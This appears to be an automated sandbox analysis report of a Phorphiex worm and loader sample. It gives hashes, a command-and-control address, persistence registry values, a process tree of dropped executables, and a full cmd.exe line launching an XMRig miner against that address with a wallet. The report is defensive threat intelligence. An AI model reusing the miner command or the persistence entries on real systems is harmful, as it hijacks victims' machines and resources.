phorphiex | 24c134595a2e38206674b3e4be0f57e00a29477c51103785dc18e937eebb6e57

Analysis

max time kernel
150s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
09/03/2026, 09:40

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General

Target
file.exe
Size 11KB
Sample260309-lnbaaads2q
SHA256 24c134595a2e38206674b3e4be0f57e00a29477c51103785dc18e937eebb6e57
MD5 4e8b770def5fa68ac9fdad816a5b50fc
SHA1 3a5e4683d6ba64238b0ea14d1062e3ab4e18cf07
SHA512 d5aae7a289d3b94201034e35189ee7e219b7224eb63fe5fac14a17170c5ce0757dfc68f1b09c4fbc0af96ea8c1eec5b2ec53254b01fca63fea9ca3162217cd5e
SSDEEP 192:yBdeU99M0CnUrfR6fBee2Hz3bJxTNerBthIjOu:UdT9MqR6fArzrBerBsO
TLSH
T14B32190A684A5831F3E204B2277F829786BD1AA337D5B9DBF380764D0E753D1C17866E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery phorphiex xmrig loader miner persistence spyware stealer trojan worm

Malware Config

Extracted

Family

phorphiex

178.16.54.109

Attributes

mutex
TWIZTPEINF

Signatures

Phorphiex family
phorphiex
Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x0002000000025cd4-52.dat	family_xmrig
behavioral2/files/0x0002000000025cd4-52.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Downloads MZ/PE file 4 IoCs

flow	pid	Process
4	4312	2554333595.exe
9	2348	1722214418.exe
10	6048	2538031664.exe
3	3160	file.exe

Executes dropped EXE 11 IoCs

pid	Process
4312	2554333595.exe
2176	2672717347.exe
2468	sysdvrnshost.exe
3052	2041429132.exe
6088	2052115808.exe
2348	1722214418.exe
6048	2538031664.exe
1068	sysmgnrsv.exe
1720	3835030379.exe
2324	sysfrodolv.exe
2252	sysmgnrsv.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysdvrnshost.exe"	2672717347.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Config = "C:\\Users\\Admin\\sysfrodolv.exe"	2538031664.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\sysdvrnshost.exe	2672717347.exe
File opened for modification	C:\Windows\sysdvrnshost.exe	2672717347.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2538031664.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3835030379.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2554333595.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2672717347.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysfrodolv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysdvrnshost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2052115808.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1722214418.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2252	sysmgnrsv.exe
Token: SeLockMemoryPrivilege	2252	sysmgnrsv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2252	sysmgnrsv.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 4312	3160	file.exe	79
PID 4312 wrote to memory of 2176	4312	2554333595.exe	80
PID 2176 wrote to memory of 2468	2176	2672717347.exe	81
PID 4312 wrote to memory of 3052	4312	2554333595.exe	82
PID 2468 wrote to memory of 6088	2468	sysdvrnshost.exe	84
PID 2468 wrote to memory of 2348	2468	sysdvrnshost.exe	85
PID 2348 wrote to memory of 6048	2348	1722214418.exe	86
PID 6048 wrote to memory of 1068	6048	2538031664.exe	87
PID 2468 wrote to memory of 1720	2468	sysdvrnshost.exe	89
PID 6048 wrote to memory of 2324	6048	2538031664.exe	90
PID 2324 wrote to memory of 5704	2324	sysfrodolv.exe	91
PID 5704 wrote to memory of 2252	5704	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Users\Admin\AppData\Local\Temp\2554333595.exe
  C:\Users\Admin\AppData\Local\Temp\2554333595.exe
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Users\Admin\AppData\Local\Temp\2672717347.exe
    C:\Users\Admin\AppData\Local\Temp\2672717347.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\sysdvrnshost.exe
      C:\Windows\sysdvrnshost.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2468
    - - C:\Users\Admin\AppData\Local\Temp\2052115808.exe
        
        C:\Users\Admin\AppData\Local\Temp\2052115808.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6088
    - - C:\Users\Admin\AppData\Local\Temp\1722214418.exe
        
        C:\Users\Admin\AppData\Local\Temp\1722214418.exe
        5⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2348
      - C:\Users\Admin\AppData\Local\Temp\2538031664.exe
        
        C:\Users\Admin\AppData\Local\Temp\2538031664.exe
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6048
        
        C:\Users\Admin\sysmgnrsv.exe
        
        C:\Users\Admin\sysmgnrsv.exe
        7⤵
        Executes dropped EXE
        
        PID:1068
        
        C:\Users\Admin\sysfrodolv.exe
        
        C:\Users\Admin\sysfrodolv.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2324
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x -t 1
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5704
        
        C:\Users\Admin\sysmgnrsv.exe
        
        C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x -t 1
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:2252
    - - C:\Users\Admin\AppData\Local\Temp\3835030379.exe
        
        C:\Users\Admin\AppData\Local\Temp\3835030379.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1720
- - C:\Users\Admin\AppData\Local\Temp\2041429132.exe
    C:\Users\Admin\AppData\Local\Temp\2041429132.exe
    3⤵
    - Executes dropped EXE
    PID:3052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

1722214418.exe

Path C:\Users\Admin\AppData\Local\Temp\1722214418.exe
Size 9KB
SHA256 fbc9ebc86b7dad668f43b64368888652ebe610eae488e40c56b4033d3e62b6f6
MD5 634df354fa7fea3ff3b32c12c8026b71
SHA1 e362bde491a44a811f9d689f6765dc8e0060f094
SHA512 d6f82a4bedfa9f6ef498e5add0a3d89754897895777d07fd71daa1584bef5fcc602c34a9247ec2c8280c4e73eaa424b353fa6f7dd89ee1a9cd17f2f0d35de8a3
SSDEEP 96:3EBulwoz3Yz/gFcBJdFrDDykx+Z0z9dlg8kPFJxGE9mZ2FFhSC7tCEGQJ:3WxozAmcBVx+qzdkPFJxTEZmFhvG
TLSH
T1F5124A0B6E490072D7E00AF013764A9D5E7D463327C2B2FBF777D1890FA9644A0626F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2041429132.exe

Path C:\Users\Admin\AppData\Local\Temp\2041429132.exe
Size 1.7MB
SHA256 683e24e5ccf6d051ec121496b60703e25b45f59d78cac3be0928d2d4f8a38c98
MD5 d8e3b0ae8e45fbc5896d2cefad4aa1fd
SHA1 5079f5b48a998434f3d0c1a7c2b75063dd561c7d
SHA512 f9cd2d680b730cf20ff588b97f7c681a556e46fd3b6fd5cd4f0f6fe6ae8a335996ae33893abcfccf7d781c9f38fb2833e37e0c824c4a66b365954bcd23c8bdb4
SSDEEP 24576:qUKp9guubwCaGY7UIAQ0FGgV7GiWkKXeYlu:qUg91uOGY7pAGaP
TLSH
T160855C06BCD144B6D4AAE33289A652A6B735F8090B3233D72F916B783F7A3D05E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2052115808.exe

Path C:\Users\Admin\AppData\Local\Temp\2052115808.exe
Size 22KB
SHA256 62912d57d1863bfc672fb26ed3954b937ea83661ab8ae7ac4db4131ea8347000
MD5 b897adb282c73be96cf9be4b4d92b24e
SHA1 ce4e9f045b0ebb1afebfc885e44ebd0efd3997f9
SHA512 398a51ab00ccbf4dcc54c4d5bffd57c2d47b301ed38e9cabcc02946bc3a5aaa589a6d729519d2774d3b55b1ae3cc7c59d881dd5362b0928f3139b2db118e9524
SSDEEP 384:du1OuPf4/SdfUTQFYhJ4JVB0Ws9UnwnR:dNuPf4/AUTqY+xs9
TLSH
T1B5A20805AA56534AF8B1187553B72E356439BE32270D94CFEF900A391274EE0FE3739A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2538031664.exe

Path C:\Users\Admin\AppData\Local\Temp\2538031664.exe
Size 12KB
SHA256 7c9beb95e8446810183545d5ed57c3eb3b183af570fa5081f039c6101d244e58
MD5 5360792d48d149d76d1af073c8ac8a61
SHA1 0bc3edce8b8a9f0f32336e500ae5fcbc4cbf79b7
SHA512 42240fb65d72b458c557f0373f9f79ccf5c803380ed869418c8625f7804a944128557d258c4aa1c7b78e022fab9b73cc4cb163459c401efcf55cdeb077dc3603
SSDEEP 192:P2eTbgOhmKkvYDleg7z1yEHEjyMJxTZ3lk9nAthBsuNOk:uITwJYD0ABOZK9nABsk
TLSH
T16E4219076D994131FBE008B1197A524B86BD3DA23BD1AC9FA740F5462DB2760C47167E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2554333595.exe

Path C:\Users\Admin\AppData\Local\Temp\2554333595.exe
Size 9KB
SHA256 d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8
MD5 c39f757fded242b3c69cb742e5b8adfb
SHA1 a08c39ed82828542d6989c0687f42171c9200b63
SHA512 8bbf74402c3a4619d41ada16c888a375725d66228bf475eacd4481f2743949e0633658ce853891e16f92adf56bbf6c5f212c6a492956ba09769f10339aef9827
SSDEEP 96:kDb5RgtomuBk+Bd1sOD1kMZ+t8pwkMPFJxGE9mK2FFhSC7tCEanGh:YHgDuBkwZ+mePFJxT4KmFhvak
TLSH
T13E12190F7E498172D3940DF013B64B8D8A7D54A33792A2FBF773C5590F65240E492AEA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2672717347.exe

Path C:\Users\Admin\AppData\Local\Temp\2672717347.exe
Size 91KB
SHA256 98e5fdce85ab8e17472f95eecb4c22f08a28933828e0afd0b5db831fe222e373
MD5 087be025580edb09a6c65b2bd4a8ee93
SHA1 02610d7b7e746c7e3c19b0a1e72afc85fed66627
SHA512 7ce2d5a11a413c4f1977a1a691e323a0ab1ada2b760950d56ecc115e70a02cbb1f816fc354db155050c60da9292a0d07e36644d26f5618d0aadda1d4eb03512e
SSDEEP 1536:aVv12JFmavM2ouZb6tITnhnpqkfrSIMcxHppnoq8:Q97Ogu88n5wkjSIMcdppnoq
TLSH
T179933B02F590A47FF9EA85FA91F28D68542CBF74134848E3A290655B87247FEFC7502B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3835030379.exe

Path C:\Users\Admin\AppData\Local\Temp\3835030379.exe
Size 18KB
SHA256 d2b94db6cb08e2b659d81e7746d669d09e70ae5d3bd675a011eced94ad66a7e0
MD5 ba71ce182c5571808af70af0cc01065d
SHA1 a6f0a407c2c7fe22e1b1dde85b4c663dec100b61
SHA512 2efd64b180053cd939cb2eecec1477af77d3d5bbc81fb34462e8aaf59e2bfbd10d276a4a1eebd74f4c2c55085d0aa8074e0d4cc5be2ebe69a4bfd92a65811693
SSDEEP 192:PFvSCngTBv0Vwlpqx6qU/Qwz0ile6DZKUSfZzQoWX0zZDj+W1zH/mJxTmv8U9ctQ:RI0Vvt3wz0i0/ZWXUj+MOav8U9cO
TLSH
T107823B0FB9834323E19110749A66567BE975A47A33D814DBF7D08AEE06786E1EC3311F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sysmgnrsv.exe

Path C:\Users\Admin\sysmgnrsv.exe
Size 6.2MB
SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
MD5 ac458ece671fdde066ce60e448f12bc0
SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
TLSH
T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/1068-54-0x0000020846AA0000-0x0000020846AC0000-memory.dmp

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memory/1720-73-0x0000000001000000-0x0000000001112000-memory.dmp

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memory/1720-82-0x0000000001000000-0x0000000001112000-memory.dmp

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memory/2176-20-0x0000000000970000-0x0000000000A82000-memory.dmp

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memory/2324-78-0x00000000015C0000-0x00000000016D2000-memory.dmp

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memory/2324-75-0x00000000015C0000-0x00000000016D2000-memory.dmp

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memory/2348-47-0x0000000001590000-0x00000000015F4000-memory.dmp

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memory/2468-32-0x00000000009A0000-0x0000000000AB2000-memory.dmp

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memory/2468-76-0x00000000009A0000-0x0000000000AB2000-memory.dmp

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memory/3160-0-0x0000000001360000-0x0000000001472000-memory.dmp

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memory/3160-7-0x0000000001360000-0x0000000001472000-memory.dmp

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memory/4312-24-0x0000000000D30000-0x0000000000D94000-memory.dmp

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memory/6048-61-0x0000000001010000-0x0000000001122000-memory.dmp

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memory/6048-70-0x0000000001010000-0x0000000001122000-memory.dmp

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memory/6088-40-0x00000000010B0000-0x00000000011C2000-memory.dmp

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memory/6088-77-0x00000000010B0000-0x00000000011C2000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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